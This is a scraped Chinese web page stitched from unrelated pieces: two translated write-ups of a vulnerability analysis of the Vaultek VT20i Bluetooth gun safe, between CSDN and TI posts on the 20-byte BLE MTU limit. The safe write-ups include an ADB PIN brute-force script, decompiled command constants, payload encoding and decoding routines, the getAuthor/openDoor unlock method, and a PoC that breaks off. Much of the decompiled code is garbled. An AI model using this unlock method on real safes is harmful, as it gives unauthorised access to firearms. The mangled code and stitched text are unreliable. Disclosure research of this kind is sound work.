蓝牙GATTnetty 发送byte数组命令数据大于20byte 怎么发送有返回?

Vaultek蓝牙型枪支保险箱漏洞分析 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
Vaultek蓝牙型枪支保险箱漏洞分析
共379610人围观
本文中,我们将详细介绍针对著名枪支箱柜厂商Vaultek旗下手枪保险箱VT20i的三个漏洞利用。VT20i是亚马逊上的畅销枪支保险箱产品,它也是我们接触到的外形和适用性都非常好的枪支保险箱之一。在我们的测试中,可以通过传输特殊格式的蓝牙消息远程解锁VT20i,我们把这种漏洞利用方法称之为BlueSteal。VT20i存在的漏洞表明,产品在生产过程早期亟需引入安全审计机制。
漏洞披露时间
Vaultek初次就我们上报的漏洞与我们取得联系
Vaultek告知我们,他们已经通过以下方法进行了更新:1.增加禁用蓝牙解锁或所有连接选项;2.针对暴力攻击设置了超时限制;3.在手机App和保险箱的通信间采取了加密措施。
如前所述,Vaultek已经意识到了这些漏洞的严重性,为了提高产品的蓝牙安全性和客户安全服务度, 正想办法解决这些漏洞问题。目前,Vaultek正在积极开发新的固件更新,不久将会提供下载。如果你对手边的VT20i存在安全担忧,可以选择禁用蓝牙连接,直接使用说明书中给出的热键切换功能。
三个存在漏洞
一个有意思的漏洞 – VT20i提供的手机App允许无限次配对尝试,且配对PIN码与解锁PIN码相同,由此存在暴力攻击可能;
CVE- – App和VT20i保险箱之间的通信无加密措施,成功配对后,App将会以明文方式传输保险箱PIN码。虽然原先Vaultek官方资料宣称,该通信通道使用了“高级别的蓝牙加密”和“AES256位加密数据传输“。但明显胡说, AES256并不支持低功耗蓝牙标准(Bluetooth LE),但我们也没在该通信中发现支持低Bluetooth LE的AES-128。这种通信间的加密措施缺乏将会使得传输密码存在泄露。
CVE- – 在不知道解锁PIN码的前提下,攻击者可以通过发送特殊格式的蓝牙消息来远程解锁此产品系列中的任何保险箱。因为尽管VT20i的App会在解锁请求中要求有效的PIN码,但在实际情况中,保险箱并不会验证PIN码的正确性,所以只要消息配对成功,攻击者就能获得授权并使用任意PIN码解锁保险箱。
首先,我们要先下载Vaultek产品的手机APP(下载链接),我们使用了其安卓v2.0.1版本,APP软件制作商貌似是一家名为Youhone的中国厂家。打开APP后会提示使用PIN码和你相应型号的保险箱配对:
该配对PIN码竟然与解锁PIN码相同,APP成功与保险箱配对后,就能向保险箱发送解锁等一系列执行命令了:
在此,我们立刻想验证一下暴力攻击的可能。由于其PIN码只是数值为1-5且长度为4-8位的数字串,所以这么有限的密钥空间,完全可以编写简单的脚本利用Android Debug Bridge(ADB)实现暴力攻击。最理想情况下,一个4字符PIN码,存在5?种可能,按每次解锁尝试7秒时间算,共需要72分钟时间完成。
以下就是我们编写的一个快速破解脚本,它利用ADB和输入组合键与手机APP形成交互,最终将形成正确的PIN码,打开保险箱。
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
&&print ''.join(map(str,combination))
&&os.system("adb shell input touchscreen tap 600 600")
&&time.sleep(5)
&&os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
&&time.sleep(1)
&&os.system("adb shell input touchscreen tap 500 1100")
&&time.sleep(1)
&&os.system("adb shell input touchscreen tap 850 770")
但在APP或保险箱有超时和重试次数限制时,这种暴力攻击漏洞可能就不太有效,但好在我们还有其它方法来解锁VT20i保险箱。
由于Vaultek APP与保险箱之间是通过蓝牙协议(Bluetooth LE)来进行通信的,即Vaultek APK是用来配对和解锁保险箱的,所以可从两方面来了解其运行机制:
静态分析APK解锁命令代码
动态分析蓝牙命令传输和登录动作
我们一开始使用来嗅探 APP与保险箱之间的通信流量,并把其捕获流量包记录到电脑中,经过分析,我们发现,其通信过程根本就没采用AES 256,且命令执行完全是明文信息!如下:
这就简单了,我们只需获得蓝牙的底层HCI日志就好(范例)。进一步分析,我们能发现蓝牙的通用属性协议(GATT)会话开始位置,APK会向 0xB 句柄发起一个请求,用来开启通知,随后,随0xA句柄开始一个漫长的会话交互。我们来详细看看APK中的一些数据交互过程。
APK代码分析
在一个并行路径中,我们使用 apktool 和 dex2jar来提取APK中的类文件,利用Procyon decompiler的GUI程序Luyten来检查反编译代码。
其中一个名为OrderUtilsVT20的类文件比较有意思,除了一些其它因素之外,该类还包含了命令载荷的格式化代码,而且竟然都是一些与其它形式命令相关的常量:
static {&&&&&&& OrderUtilsVT20.PASSWORD = "";&&&&&&& OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };&&&&&&& OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };&&&&&&& OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };&&&&&&& OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };&&&&&&& OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };&&&&&&& OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };&&&&&&& OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };&&&&&&& OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };&&&&&&& OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };&&&&&&& OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };&&&&&&& OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };&&&&&&& OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };&&&&&&& OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };&&&&&&& OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };&&&&&&& OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };&&& }
这些值不会直接显示在流量捕获包中,经过深入分析,我们发现在APP和保险箱之间的通信还执行了一个奇怪的加密程序来对数据载荷进行打包变形。APK还会将加密后的数据载荷分成20字节的长度块,这种形式与流量捕获包中的内容一致。
其中用到的加密函数如下:
if (!StringUtil.isVT20(s)) {}&&&&&&& s = (String)(Object)new byte[array.length * 2 + 2];&&&&&&& s[0] =&&&&&&& s[s.length - 1] = -1;&&&&&&& for (int i = 0; i & array. ++i) {&&&&&&&&&&& final byte b = array[i];&&&&&&&&&&& final byte b2 = array[i];&&&&&&&&&&& s[i * 2 + 1] = (byte)(((b & 0xF0) && 4) + 97);&&&&&&&&&&& s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);&&&&&&& }&&&&&&& Label_0220: {&&&&&&&&&&& if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {&&&&&&&&&&&&&&& int length = s.&&&&&&&&&&&&&&& int n = 0;&&&&&&&&&&&&&&& while (true) {&&&&&&&&&&&&&&&&&&& Label_0185: {&&&&&&&&&&&&&&&&&&&&&&& if (length & 20) {&&&&&&&&&&&&&&&&&&&&&&&&&&& break Label_0185;&&&&&&&&&&&&&&&&&&&&&&& }&&&&&&&&&&&&&&&&&&&&&&& array = new byte[length];&&&&&&&&&&&&&&&&&&&&&&& System.arraycopy(s, n * 20, array, 0, length);&&&&&&&&&&&&&&&&&&&&&&& int i = 0;&&&&&&&&&&&&&&&&&&& Label_0173_Outer:&&&&&&&&&&&&&&&&&&&&&&& while (true) {&&&&&&&&&&&&&&&&&&&&&&&&&&& this.SendData(array);&&&&&&&&&&&&&&&&&&&&&&&&&&& ++n;&&&&&&&&&&&&&&&&&&&&&&&&&&& while (true) {&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& try {&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Thread.sleep(10L);&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& length =&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (i == 0) {&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& this.processNextSend();&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& array = new byte[20];&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& System.arraycopy(s, n * 20, array, 0, 20);&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& i = length - 20;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& continue Label_0173_O
发现这个之后,其解密过程相对简单,我们编写的解密程序如下:
function decodePayload(payload){ var res = new Array(); for(var i=1;i&payload.length-1;i=i+2){ &&&& &&&&tmpA = payload[i]-97; &&&&tmpB = payload[i+1]-97; &&&&tmpC = (tmpA&&4) + tmpB; &&&&res.push(tmpC); } }
把该解密程序应用到抓包数据中,可以很方便识别出APP向保险箱发送的指令内容,以下就是APP与保险箱之间的一个信息交互过程:
在APP与保险箱之间的信息交互中,最为有意思的是两个对话内容是getAuthor和openDoor方法,以下是getAuthor方法函数:
public static byte[] getAuthor(final String password) {&&&&&&&&if (password == null || password.length() &= 0) {&&&&&&&&&&&&&&&&&&&&}&&&&&&&&System.out.println("获取授权码&&" + password);&&&&&&&&setPASSWORD(password);&&&&&&&&(OrderUtilsPro.data = new byte[24])[0] = -46;&&&&&&&&OrderUtilsPro.data[1] = -61;&&&&&&&&OrderUtilsPro.data[2] = -76;&&&&&&&&OrderUtilsPro.data[3] = -91;&&&&&&&&setTime();&&&&&&&&OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];&&&&&&&&OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];&&&&&&&&setRandom();&&&&&&&&setDateLength(4);&&&&&&&&CRC();&&&&&&&&setPassWord();&&&&&&&&return OrderUtilsPro.&&&&}
可以看到在其中它调用了另一个方法setPassWord,它将填充的PIN码放到了getAuthor包之后:
public static void setPASSWORD(final String s) {&&&&&&&&String password =&&&&&&&&Label_0062: {&&&&&&&&&&&&switch (s.length()) {&&&&&&&&&&&&&&&&default: {}&&&&&&&&&&&&&&&&case 4: {&&&&&&&&&&&&&&&&&&&&password = "0000" +&&&&&&&&&&&&&&&&&&&&break Label_0062;&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&case 7: {&&&&&&&&&&&&&&&&&&&&password = "0" +&&&&&&&&&&&&&&&&&&&&break Label_0062;&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&case 6: {&&&&&&&&&&&&&&&&&&&&password = "00" +&&&&&&&&&&&&&&&&&&&&break Label_0062;&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&case 5: {&&&&&&&&&&&&&&&&&&&&password = "000" +&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&case 8: {&&&&&&&&&&&&&&&&&&&&OrderUtilsPro.PASSWORD =&&&&&&&&&&&&&&&&}&&&&&&&&&&&&}&&&&&&&&}&&&&}&&&&&&&&public static void setPassWord() {&&&&&&&&for (int i = 0; i & 8; i += 2) {&&&&&&&&&&&&OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);&&&&&&&&}&&&&}
getAuthor包格式如下:
由于APK在解锁过程中,未对预设的PIN码信息进行加密,所以其传输过程中的PIN码完全是明文状态。这就是第二个漏洞的成因。
我们也想到了可能getAuthor缺乏类似getAuthorization的验证机制,深入探究之后发现,在以上getAuthor包格式架构中,最末尾的PIN码是以明文方式传输的,确实没有其它PIN码验证机制。这就是第三个漏洞的成因,即保险箱不会检查getAuthor传输包中的PIN码正确性,不论PIN码内容如何都会返回一个有效的授权访问响应。
在对getAuthor请求的响应包的前4个字节中,包含了一个授权码或访问令牌信息。另外,我们花费了好长时间才弄清楚该响应是openDoor信息的必要部分,因此,我们只需获取该响应包中的授权码就能打开保险箱了。
获取授权码的代码如下:
switch (this.param) {&&&&&&&&&&& default: {}&&&&&&&&&&& case 41001: {&&&&&&&&&&&&&&& System.out.println("获取授权码VT");&&&&&&&&&&&&&&& this.author[0] = array[0];&&&&&&&&&&&&&&& this.author[1] = array[1];&&&&&&&&&&&&&&& this.author[2] = array[2];&&&&&&&&&&&&&&& this.author[3] = array[3];&&&&&&&&&&& }
前4个字节为授权码的openDoor包格式如下:
到最后,我们只需用APP与保险箱之间进行配对,利用openDoor包响应信息中的授权码就可打开保险箱了:
以上POC脚本主要包括以下几个步骤:
1. 为getAuthor 和 openDoor方法定义了加密解密两个Payload函数;
2. 扫描保险箱,利用手机UUID定位我们需要交互的服务和特性;
3. 为了启用通知,往蓝牙客户端特性配置描述符( Client Characteristic Configuration Descriptor)中写入一个0×01的数值;
4. 将我们20个字节块的getAuthor编码数据作为一个写入命令发送给保险箱,随后等待保险箱的处理通知并提取其中的响应信息;
5. 解码响应信息,取其中的前4个字节的授权码,并将这些授权码字节放到我们的openDoor命令函数中;
6. 向保险箱发送带有授权码的openDoor 命令,开启保险箱!
后来我们发现getAuthor命令和之前所说的硬编码常量字节和CRC校验值相关,带有任意PIN码的一个getAuthor命令都会返回一个可以打开保险箱的授权码,而openDoor命令只检查授权码、常量字节和CRC值。利用以上漏洞,我们已在多个Vaultek VT20i系列产品上成功复现。
看不到,点
*参考来源:,freebuf小编clouds编译,转载请注明来自FreeBuf.COM&
必须您当前尚未登录。
必须(保密)
I am a robot ,do not talk to me ,code to me.
关注我们 分享每日精选文章
可以给我们打个分吗?主要是蓝牙WiFi的描述。
Android BLE中传输数据的最大长度怎么破
好多小伙伴们都被一个事儿困扰过:
想在gatt client上(一般是手机上)传输长一点的数据给gatt server(一般是一个Bluetooth smart设备,即只有BLE功能的设备),但通过 writeCharacteristic(BluetoothGattCharacteristic)来写的时候发现最多只能写入20个byte的数据。
这篇文章会回答下面几个问题:
1)为什么会是20?
2)如何突破20?
3)如何更优雅的来实现?
第一个问题,为什么为限制成20个字节?
core spec里面定义了ATT的默认MTU为23个bytes,除去ATT的opcode一个字节以及ATT的handle2个字节之后,剩下的20个字节便是留给GATT的了。
考虑到有些Bluetooth smart设备功能弱小,不敢太奢侈的使用内存空间,因此core spec规定每一个设备都必须支持MTU为23。
在两个设备连接初期,大家都像新交的朋友一样,不知对方底细,因此严格的按照套路来走,即最多一次发20个字节,是最保险的。
由于ATT的最大长度为512byte,
因此一般认为MTU的最大长度为512个byte就够了,再大也没什么意义,你不可能发一个超过512的ATT的数据,就像是孙猴子跑不过五行山一样。
所以ATT的MTU的最大长度可视为512个bytes。
第二个问题,如何突破20?
很简单嘛,改变传输的ATT的MTU就行了,大家经过友好的协商,得到双方都想要的结果,是最好的。在Android上(API 21),改变ATT MTU的接口为:
public boolean requestMtu (int mtu)
Added in API level 21
Request an MTU size used for a given connection.
When performing a write request operation (write without response), the data sent is truncated to the MTU size. This function may be used to request a larger MTU size to be able to send more data at once.
A onMtuChanged(BluetoothGatt, int, int) callback will indicate whether this operation was successful.
Requires BLUETOOTH permission.
true, if the new MTU value has been requested successfully大声的说出来你想要一下子传多少,调用上面的接口就可以了,然后在下面的函数中看最终结果(当然了,如果你的peripheral申请改变MTU并且成功的话,那这个回调也会被调用):
public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
super.onMtuChanged(gatt, mtu, status);
if (status == BluetoothGatt.GATT_SUCCESS) {
this.supportedMTU =//local var to record MTU size
之后你就可以快乐的发送supportedMTU-3的长度的数据了。
第三个问题,如何优雅的来实现?
俗话说得好,郎有情就怕妾无意。万一对方设备不同意你的请求怎么办?
对于app来说,一般是知道自己要最大发送多少数据的,例如一次要发100个bytes,那么就首先试试申请一下103,失败的话,则申请一下53,即二分法,剩下的只能自己分段拆着发了。
一般来讲,app的开发者和对端设备的开发者都是同一伙儿人,这是好事儿,他们可以根据自己设备的硬件情况,来商量MTU应该是多少。
总之,把事儿摆到桌面上,提前做好,会使得你的程序更加professional。
没有更多推荐了,
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!德州仪器 (TI) 是一家跨国性的半导体设计与制造公司。因具有100,000+个以上模拟IC和嵌入式处理器而独树一帜、同时兼备软件、工具以及业界最大的销售团队/技术支持团队。
Texas Instruments Incorporated. 版权所有.解析 CC2541 的 BLE 数据包为什么是 20 字节
大家都知道蓝牙 BLE 发送数据时都是 20 字节一个包,那么为什么是 20 字节呢?当然是——蓝牙协议规定的。。。
协议规定,payload 最大 27。在协议第六章中的 2.4,刨去 L2CAP 的头,4 个字节,剩下的就 23 个字节 MTU。就是你看到的。ATT 层会用掉上 1 个字节的 op code, 2 个字节的 attribute handle,就剩下 20了。这剩下的 20 字节就是我们常说的发送的
20 字节的数据。
上面是蓝牙协议 4.0 中的内容。所以这个 MTU 是不少于 23,也是可以修改的,但是前提是 client 支持修改 MTU,如果 client 只支持 Default Value,那就不能修改。如果一个设备既有 client 又有 server,那么 client Rx MTU 和 server Rx MTU 必须是一样的。
但是这个修改我不确定是不是 BLE 的特性,问了 TI 的人,给的回答是 BLE 允许修改 MTU 是蓝牙 4.1 的新特性,姑且相信他吧。
最近在做 TI 的 CC2640 的东西,因为需要测速度,所以问 TI 的人,他们给了一个链接:http://processors.wiki.ti.com/index.php/CC2640_BLE_Throughput
这里面给出了修改 MTU 的方法,并说这是 BLE 协议的新特性。
没有更多推荐了,
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!利用VT20i的漏洞通过蓝牙远程入侵你的枪支保险箱
时间?? 17:34:10
分类 : 黑客技术
写在前面的话
VT20i是一款非常受欢迎的产品(亚马逊热销产品之一),它的作用是保护用户枪支的安全。在这篇文章中,我们将跟大家介绍如何利用Vaultek VT20i中的多个安全漏洞,这些漏洞包括CVE-和CVE-。我们将给出详细的PoC,而这些漏洞将允许我们通过发送特殊构造的蓝牙消息来解锁Vaultek VT20i枪支保险箱。
有趣的漏洞-制造商的Android端应用程序允许他人无限制(不限次数)地尝试与保险箱进行配对。配对PIN码跟解锁PIN码是一样的,而这将允许攻击者通过暴力的方式获取配对PIN码,并最终解锁保险箱。
非常有趣的漏洞-CVE-:Android端应用程序跟保险箱之间的通信是没有经过加密的,配对成功之后,应用程序会以明文的形式发送保险箱的PIN码。根据官方网站以及厂商宣传材料中的描述,这种通信信道使用了“最高级别的蓝牙加密“,而数据传输使用了AES256加密。但是,厂商的这种宣传明显不符合事实。AES256加密并不支持蓝牙LE标准,而且此前也没有出现过AES256应用到更高层级的案例。虽然AES128支持蓝牙LE,但厂商并没有使用AES128。如果没有采用加密的话,他人将能够通过窃听保险箱和应用程序之间的通信数据来获取密码。
简直不可思议-CVE-:攻击者可在不知道解锁PIN码的情况下,通过特殊构造的蓝牙消息来远程解锁此型号产品线的任意枪支保险箱。手机端应用程序要求有效PIN码才可以操作保险箱,程序会要求用户输入PIN码并发送认证请求。但是,保险箱并不会对应用程序发送过来的PIN码进行验证,所以攻击者可以使用任意值来作为PIN码屏解锁枪支保险箱。
接下来,我们会跟大家详细介绍这些漏洞的技术细节。大家可以先观看下面给出的演示视频来了解漏洞的影响效果。
演示视频:
攻击非常简单
首先,我们需要获取用于跟保险箱通信的Android端APK文件【】。我们使用的是v2.0.1,这款APK的开发厂商似乎是一家中国公司,公司名为Youhone。打开App之后,初始界面会要求用户使用PIN码来连接保险箱。
用于配对的连接PIN码其实跟枪支保险箱的解锁PIN码是一样的。成功配对之后,我们就可以利用App来执行保险箱的解锁命令了。
接下来,我们需要确定是否可以成功对其进行暴力破解攻击。PIN码是长度为4-8位的数字值,由于这个密钥空间相对较小,所以我们可以直接使用脚本来进行爆破攻击(使用ADB来操作Android端应用)。在最理想的攻击场景中(密码长度为4个字符),密码空间为5^4,遍历完整个密码空间大约需要72分钟。
下面给出的是我们的Python脚本,它可以通过ADB来与手机进行交互,并不断输入密码组合。当脚本测试出了正确的PIN码之后,保险箱将会自动打开。
import os import itertools import time for combination in itertools.product(xrange(1,6),repeat=4):
&&print ''.join(map(str,combination))
&&os.system("adb shell input touchscreen tap 600 600")
&&time.sleep(5)
&&os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
&&time.sleep(1)
&&os.system("adb shell input touchscreen tap 500 1100")
&&time.sleep(1)
&&os.system("adb shell input touchscreen tap 850 770")
厂商可以通过限制密码尝试请求或设置时间间隔来缓解这个漏洞所带来的影响。话虽如此,攻击者能用的方法可不只是暴力破解攻击这么简单。
逆向工程分析
Vaultek APK负责对保险箱进行配对和解锁,我们有两种方法来了解这些功能的运行机制:
识别APK中负责生成解锁命令的代码,并对代码进行静态分析。
捕捉发出的命令以及日志输出,并对其进行动态分析。
应用程序跟保险箱之间的通信使用的是低功耗蓝牙,关于该协议的内容可参考【】。
数据包捕获
我们使用了Ubertooth【】来嗅探应用程序与保险箱之间的通信数据,并将捕捉到的数据记录在硬盘之中。
对捕捉到的数据包进行了分析测试之后,我们发现它并没有使用AES256加密,所有的控制命令都是以明文形式发送的。
接下来,我们就可以世界使用Android内置的蓝牙HCI日志了,关于如何使用这项功能(Android捕获对话信息),请参考【】。
在捕捉到的数据包中,我们可以看到有关低功耗蓝牙GATT的对话信息,注意其中的0xB以及0xA handle。
现在,我们可以回到APK中查看这些数据Payload代表的是什么了。
APK代码分析
首先,我们可以使用和来提取APK中的类文件,然后使用(Procyon反编译器的GUI版本)来审查反编译后的代码。
其中有一个名叫OrderUtilsVT20的类吸引了我们的注意,这个类中不仅包含了格式化的命令Payload代码,而且还包含了跟不同类型命令相关的变量。
&&& static {
&&&&&&& OrderUtilsVT20.PASSWORD = "";
&&&&&&& OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
&&&&&&& OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
&&&&&&& OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
&&&&&&& OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
&&&&&&& OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
&&&&&&& OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
&&&&&&& OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
&&&&&&& OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
&&&&&&& OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
&&&&&&& OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
&&&&&&& OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
&&&&&&& OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
&&&&&&& OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
&&&&&&& OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
&&&&&&& OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
不幸的是,这些值并不会直接显示在我们捕捉到的数据包中。在进行了进一步分析之后,我们发现这是因为应用程序以及保险箱会执行一种奇怪的编码来对Payload数据进行封装处理。除此之外,APK还会将已编码的Payload拆分成长度为20字节的数据块,这跟我们捕捉到的数据包所显示的格式是相匹配的。
编码函数如下所示:
if (!StringUtil.isVT20(s)) {}
&&&&&&& s = (String)(Object)new byte[array.length * 2 + 2];
&&&&&&& s[0] = true;
&&&&&&& s[s.length - 1] = -1;
&&&&&&& for (int i = 0; i & array. ++i) {
&&&&&&&&&&& final byte b = array[i];
&&&&&&&&&&& final byte b2 = array[i];
&&&&&&&&&&& s[i * 2 + 1] = (byte)(((b & 0xF0) && 4) + 97);
&&&&&&&&&&& s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
&&&&&&& Label_0220: {
&&&&&&&&&&& if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
&&&&&&&&&&&&&&& int length = s.
&&&&&&&&&&&&&&& int n = 0;
&&&&&&&&&&&&&&& while (true) {
&&&&&&&&&&&&&&&&&&& Label_0185: {
&&&&&&&&&&&&&&&&&&&&&&& if (length & 20) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& break Label_0185;
&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&& array = new byte[length];
&&&&&&&&&&&&&&&&&&&&&&& System.arraycopy(s, n * 20, array, 0, length);
&&&&&&&&&&&&&&&&&&&&&&& int i = 0;
&&&&&&&&&&&&&&&&&&& Label_0173_Outer:
&&&&&&&&&&&&&&&&&&&&&&& while (true) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& this.SendData(array);
&&&&&&&&&&&&&&&&&&&&&&&&&&& ++n;
&&&&&&&&&&&&&&&&&&&&&&&&&&& while (true) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& try {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Thread.sleep(10L);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& length =
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (i == 0) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& this.processNextSend();
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& return;
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& break;
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& array = new byte[20];
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& System.arraycopy(s, n * 20, array, 0, 20);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& i = length - 20;
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& continue Label_0173_O
发现了这一点之后,我们就可以对编码过程进行逆向分析了,我们的解码函数如下所示:
function decodePayload(payload){
&&&&&& var res = new Array();
&&&&&& for(var i=1;i&payload.length-1;i=i+2){
&&&&&& &&& var
&&&&&& &&& tmpA = payload[i]-97;
&&&&&& &&& tmpB = payload[i+1]-97;
&&&&&& &&& tmpC = (tmpA&&4) + tmpB;
&&&&&& &&& res.push(tmpC);
&&&&&& return
使用这个解码函数来对捕捉到的Payload进行解码之后,我们就可以直接查看到应用程序发送给保险箱的控制命令了:
其中比较有意思的两个命令为getAuthor和openDoor。
下面给出的是getAuthor命令的代码:
&& public static byte[] getAuthor(final String password) {
&&&&&&& if (password == null || password.length() &= 0) {
&&&&&&&&&&& return null;
&&&&&&& System.out.println("获取授权码& " + password);
&&&&&&& setPASSWORD(password);
&&&&&&& (OrderUtilsPro.data = new byte[24])[0] = -46;
&&&&&&& OrderUtilsPro.data[1] = -61;
&&&&&&& OrderUtilsPro.data[2] = -76;
&&&&&&& OrderUtilsPro.data[3] = -91;
&&&&&&& setTime();
&&&&&&& OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
&&&&&&& OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
&&&&&&& setRandom();
&&&&&&& setDateLength(4);
&&&&&&& CRC();
&&&&&&& setPassWord();
&&&&&&& return OrderUtilsPro.
代码将会调用setPassWord方法,它将会把PIN码填充至getAuthor数据包的结尾。
&& public static void setPASSWORD(final String s) {
&&&&&&& String password =
&&&&&&& Label_0062: {
&&&&&&&&&&& switch (s.length()) {
&&&&&&&&&&&&&&& default: {}
&&&&&&&&&&&&&&& case 4: {
&&&&&&&& &&&&&&&&&&&password = "0000" +
&&&&&&&&&&&&&&&&&&& break Label_0062;
&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&& case 7: {
&&&&&&&&&&&&&&&&&&& password = "0" +
&&&&&&&&&&&&&&&&&&& break Label_0062;
&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&& case 6: {
&&&&&&&&&&&&&&&&&&& password = "00" +
&&&&&&&&&&&&&&&&&&& break Label_0062;
&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&& case 5: {
&&&&&&&&&&&&&&&&&&& password = "000" +
&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&& case 8: {
&&&&&&&&&&&&&&&&&&& OrderUtilsPro.PASSWORD =
&&&&&&&&&&&&&&& }
&&&&&&&&&&& }
&&& public static void setPassWord() {
&&&&&&& for (int i = 0; i & 8; i += 2) {
&&&&&&&&&&& OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
getAuthor命令的结构如下所示:
由于在解锁保险箱的过程中,APK发送的编程PIN码并没有经过任何的加密处理,所以这就导致了第二个漏洞的出现,即以明文格式传输PIN码。
上述结构中末尾部分的PIN码会在getAuthor命令中以明文形式发送,而保险箱并不会对getAuthor数据包中的PIN码进行校验,并且无论PIN 码值是什么,它都会返回一个正确的认证令牌。
保险箱针对getAuthor命令的响应信息中包含了一个认证令牌(位于前四个字节数据中),而它所返回的信息中还包含openDoor消息所需使用的数据。因此,我们只需要获取到认证令牌中的认证代码,然后直接使用openDoor命令来打开保险箱即可。
下面显示的是com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20中的操作代码:
switch (this.param) {
&&&&&&&&&&& default: {}
&&&&&&&&&&& case 41001: {
&&&&&&&&&&&&&&& System.out.println("获取授权码VT");
&&&&&&&&&&&&&&& this.author[0] = array[0];
&&&&&&&&&&&&&&& this.author[1] = array[1];
&&&&&&&&&&&&&&& this.author[2] = array[2];
&&&&&&&&&&&&&&& this.author[3] = array[3];
&&&&&&&&&&& }
openDoor命令格式如下,其中前四个字节为认证代码:
最简化的保险箱开启步骤如下所示:
下面给出的是可以用来打开Vaultek VT20i枪支保险箱的PoC源代码:
var noble = require('noble'); var split = require('split-buffer'); var rawData = ["ThisIsWhere","TheRAWDataWouldGo"] function d2h(d) {
&&& var h = (+d).toString(16);
&&& return h.length === 1 ? '0' + h :
} function decodePayload(payload){
&&& var res = new Array();
&&& for(var i=1;i&payload.length-1;i=i+2){
&&&&&&& var
&&&&&&& tmpA = payload[i]-97;
&&&&&&& tmpB = payload[i+1]-97;
